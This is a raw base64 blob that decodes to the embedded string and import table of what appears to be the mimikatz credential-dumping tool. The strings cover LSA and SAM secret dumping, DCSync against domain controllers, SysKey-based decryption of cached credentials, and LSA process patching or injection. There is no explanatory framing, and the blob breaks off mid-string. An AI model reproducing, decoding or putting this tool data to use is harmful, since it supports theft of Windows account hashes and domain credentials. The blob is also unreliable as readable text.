AZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcwB0AG8AcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcgBlAG0AbwB2AGUAZAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAAAAAAUABBAFIAVABJAEEATABfAFMARQBDAFIARQBUAFMAXwBBAEMAQwBPAFUATgBUAAAATgBPAF8AQQBVAFQASABfAEQAQQBUAEEAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABQAEEAUwBTAFcATwBSAEQAXwBFAFgAUABJAFIARQBEAAAAAAAAAAAARABPAE4AVABfAFIARQBRAFUASQBSAEUAXwBQAFIARQBBAFUAVABIAAAAAAAAAAAAVQBTAEUAXwBEAEUAUwBfAEsARQBZAF8ATwBOAEwAWQAAAAAAAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAAUwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAE0ATgBTAF8ATABPAEcATwBOAF8AQQBDAEMATwBVAE4AVAAAAAAAAABEAE8ATgBUAF8ARQBYAFAASQBSAEUAXwBQAEEAUwBTAFcARAAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAAAAAAUwBFAFIAVgBFAFIAXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAADAAeAA0ADAAMAAgAD8AAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAAFQARQBNAFAAXwBEAFUAUABMAEkAQwBBAFQARQBfAEEAQwBDAE8AVQBOAFQAAAAAAAAAAAAAAAAARQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABBAFMAUwBXAE8AUgBEAF8AQQBMAEwATwBXAEUARAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAEwATwBDAEsATwBVAFQAAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAAAAAAAAMAB4ADQAIAA/AAAAAAAAAEEAQwBDAE8AVQBOAFQARABJAFMAQQBCAEwARQAAAAAAUwBDAFIASQBQAFQAAAAAAFYARQBSAFMASQBPAE4AAABDAEwARQBBAFIAIAAgAAAATgBUADQATwBXAEYAIAAAAE4ATwBOAEUAIAAgACAAAABLAGUAcgBiAGUAcgBvAHMALQBOAGUAdwBlAHIALQBLAGUAeQBzAAAASwBlAHIAYgBlAHIAbwBzAAAAAAAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAAAAAAFAAcgBpAG0AYQByAHkAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAAAAAAG4AdABkAGwAbAAuAGQAbABsAAAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAAAAAABHAEIARwAAAFMAawBlAHcAMQAAAEoARAAAAAAAAAAAAEQAZQBmAGEAdQBsAHQAAABDAHUAcgByAGUAbgB0AAAAQQBzAGsAIABhACAARABDACAAdABvACAAcwB5AG4AYwBoAHIAbwBuAGkAegBlACAAYQBuACAAbwBiAGoAZQBjAHQAAAAAAAAAZABjAHMAeQBuAGMAAAAAAHIAcABkAGEAdABhAAAAAAAAAAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFQAcgB1AHMAdAAgAEEAdQB0AGgAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoAG4AbwByAG0AYQBsACAAbwByACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQApAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABTAEEATQAvAEEARAAgAGUAbgB0AHIAaQBlAHMAIAAoAG4AbwByAG0AYQBsACwAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACAAbwByACAAaQBuAGoAZQBjAHQAKQAAAAAAbABzAGEAAAAAAAAAAAAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABOAEwAJABLAE0AIAB0AGgAZQBuACAATQBTAEMAYQBjAGgAZQAoAHYAMgApACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGEAbQAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAAbABzAGEAZAB1AG0AcAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHQAcgB1AHMAdAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAGsAaQB3AGkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBFAEMAVQBSAEkAVABZACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEMAbwBuAHQAcgBvAGwAUwBlAHQAMAAwADAAAAAAAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAACUAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAAAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAUwB5AHMASwBlAHkAIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAAAAAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAFYAAAAAAAAATABvAGMAYQBsACAAUwBJAEQAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAAAAAAFUAcwBlAHIAcwAAAAAAAABOAGEAbQBlAHMAAAAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlACAASwBPAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMAQQBNACAAQQBjAGMAbwB1AG4AdABzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABOAFQATABNAAAAAAAAAAAATABNACAAIAAAAAAAAAAAACUAcwAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAAACgBTAEEATQBLAGUAeQAgADoAIAAAAAAARgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAgAEsATwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEYAIABLAE8AAABQAG8AbABfAF8ARABtAE4AAAAAAAAAAABQAG8AbABfAF8ARABtAFMAAAAAAAAAAAAlAHMAIABuAGEAbQBlACAAOgAgAAAAAAAgACgAAAAAACkAAAAAAAAAUABvAGwAaQBjAHkAAAAAAEwAbwBjAGEAbAAAAEEAYwAAAAAAAAAAAEQAbwBtAGEAaQBuAAAAAABQAHIAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAAAAAAAAAAACgBQAG8AbABpAGMAeQAgAHMAdQBiAHMAeQBzAHQAZQBtACAAaQBzACAAOgAgACUAaAB1AC4AJQBoAHUACgAAAFAAbwBsAEUASwBMAGkAcwB0AAAAAAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAAAAAAIAAgAFsAJQAwADIAdQBdACAAAAAgAAAATABTAEEAIABLAGUAeQAgADoAIAAAAAAAUwBlAGMAcgBlAHQAcwAAAHMAZQByAHYAaQBjAGUAcwAAAAAAAAAAAAoAUwBlAGMAcgBlAHQAIAAgADoAIAAlAHMAAAAAAAAAXwBTAEMAXwAAAAAAAAAAAEMAdQByAHIAVgBhAGwAAAAKAGMAdQByAC8AAAAAAAAATwBsAGQAVgBhAGwAAAAAAAoAbwBsAGQALwAAAAAAAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAAAAAABDAGEAYwBoAGUAAAAAAAAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0AAAAAAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAAAAAAKgAgAEQAQwBDADEAIABtAG8AZABlACAAIQAKAAAAAAAAAAAAAAAAACoAIABJAHQAZQByAGEAdABpAG8AbgAgAGkAcwAgAHMAZQB0ACAAdABvACAAZABlAGYAYQB1AGwAdAAgACgAMQAwADIANAAwACkACgAAAAAATgBMACQAQwBvAG4AdAByAG8AbAAAAAAACgBbACUAcwAgAC0AIAAAAF0ACgBSAEkARAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAPgAgAEsAaQB3AGkAIABtAG8AZABlAC4ALgAuAAoAAAAgACAATQBzAEMAYQBjAGgAZQBWADIAIAA6ACAAAAAAACAAIABDAGgAZQBjAGsAcwB1AG0AIAAgADoAIAAAAAAAPgAgAE8ASwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAxACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAbQBhAGMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAAAAAAAE8AYgBqAGUAYwB0AE4AYQBtAGUAAAAAACAALwAgAHMAZQByAHYAaQBjAGUAIAAnACUAcwAnACAAdwBpAHQAaAAgAHUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHMAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAAAAAAAB0AGUAeAB0ADoAIAAlAHcAWgAAAAAAAABoAGUAeAAgADoAIAAAAAAAJABNAEEAQwBIAEkATgBFAC4AQQBDAEMAAAAAAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAAAAAAAAoAIAAgACAAIABmAHUAbABsADoAIAAAAAoAIAAgACAAIABtAC8AdQAgADoAIAAAACAALwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAU2FtSUNvbm5lY3QAAAAAAFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAAAAAABTYW1JRnJlZV9TQU1QUl9VU0VSX0lORk9fQlVGRkVSAExzYUlRdWVyeUluZm9ybWF0aW9uUG9saWN5VHJ1c3RlZAAAAAAAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAAAAAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAAAAAAHAAYQB0AGMAaAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAaQBuAGoAZQBjAHQAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAAAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIAAnACUAcwAnACAAaQBzACAAbgBvAHQAIABhACAAdgBhAGwAaQBkACAASQBkAAoAAAAAAG4AYQBtAGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcw